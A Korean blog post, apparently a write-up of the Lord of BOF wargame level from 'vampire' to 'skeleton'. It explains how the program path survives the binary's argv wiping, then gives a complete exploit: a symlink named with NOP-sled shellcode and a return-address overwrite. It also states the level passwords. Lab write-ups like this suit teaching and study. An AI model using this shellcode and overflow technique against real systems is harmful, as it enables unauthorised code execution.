티스토리 뷰
[LOB] vampire -> skeleton
id : vampire
pw : music world
먼저 힌트를 보겠습니다.
코드 입니다.
밑에가 잘렸습니다.
밑에 //ultra argv hunter 이 부분을 잘 보면
argv를 모두 0으로 초기화를 합니다.
그렇다면 쓸 수 있는 스택 공간이 있는지 확인해보겠습니다.
디버깅을 하기위해 tmp폴더를 만들고 옮겼습니다.
쓸 수 있는 스택 공간을 확인 해보겠습니다.
코드와 같이 0으로 다 초기화가 되었는데 마지막 쯤에 0이 아닌 것들이 있습니다.
이 부분이 뭔지 확인해보니,
실행 파일의 경로 이네요.
이 부분을 이용해서 공격하면 될 것 같습니다.
argv[0]에 쉘 코드로 심볼릭 링크를 걸어주고 실행하고 저 위치로 ret주소를 변경해주면 될 것 같습니다.
먼저 심볼릭 링크를 걸어주겠습니다.
명령어 입니다.
심볼릭 링크를 걸어주고
아까 파일 위치의 경로를 대략 0xbfffffa0으로 두고 공격하겠습니다.
페이로드 입니다.
./`python -c 'print "\x90"*99+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*30'` `python -c 'print "\x90"*44+"\xa0\xff\xff\xbf"'`
권한을 획득했습니다.
skeleton의 password는 “shellcoder” 입니다.
'pwnable > LOB' 카테고리의 다른 글
[LOB] skeleton -> golem write-up (0) | 2018.02.14 |
---|---|
[LOB] troll -> vampire write-up (0) | 2018.02.11 |
[LOB] orge -> troll write-up (0) | 2018.02.11 |
[LOB] darkelf -> orge write-up (0) | 2018.01.27 |
[LOB] wolfman -> darkelf write-up (0) | 2018.01.27 |
- overflow
- pwnable
- hacking
- 본선가고싶다
- rt_sigreturn
- fsop
- FSB
- HackCTF
- exit
- shellcoding
- oob
- heap
- codegate
- ebp change
- fastbin
- srop
- 해킹
- tcache
- TLS
- stack reusing
- pwable
- SQLi
- fastbindup
- glibc
- pwnable.tw
- Total
- Today
- Yesterday